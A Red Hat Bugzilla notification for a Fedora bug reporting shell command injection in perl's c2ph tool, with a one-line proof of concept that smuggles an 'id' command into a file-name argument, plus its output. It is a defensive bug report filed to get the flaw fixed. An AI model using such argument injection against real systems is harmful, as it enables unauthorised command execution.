[Bug 1210614] New: Shell command injection in c2ph tool
by Red Hat Bugzilla
https://bugzilla.redhat.com/show_bug.cgi?id=1210614
Bug ID: 1210614
Summary: Shell command injection in c2ph tool
Product: Fedora
Version: 21
Component: perl
Assignee: jplesnik(a)redhat.com
Reporter: ppisar(a)redhat.com
QA Contact: extras-qa(a)fedoraproject.org
CC: cweyl(a)alumni.drew.edu, iarnell(a)gmail.com,
jplesnik(a)redhat.com, kasal(a)ucw.cz,
perl-devel(a)lists.fedoraproject.org, ppisar(a)redhat.com,
psabata(a)redhat.com, rc040203(a)freenet.de,
tcallawa(a)redhat.com
The c2ph suffers from shell command injection:
$ c2ph -n '; id; x.c'
cc: fatal error: no input files
compilation terminated.
uid=500(petr) gid=500(petr) groups=500(petr),63(audio),100(users),478(mock)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh: x.c: command not found
Tested with perl-5.18.4-308.fc21.x86_64.
Reported to upstream <https://rt.perl.org/Ticket/Display.html?id=124275>.
--
You are receiving this mail because:
You are on the CC list for the bug.
6 years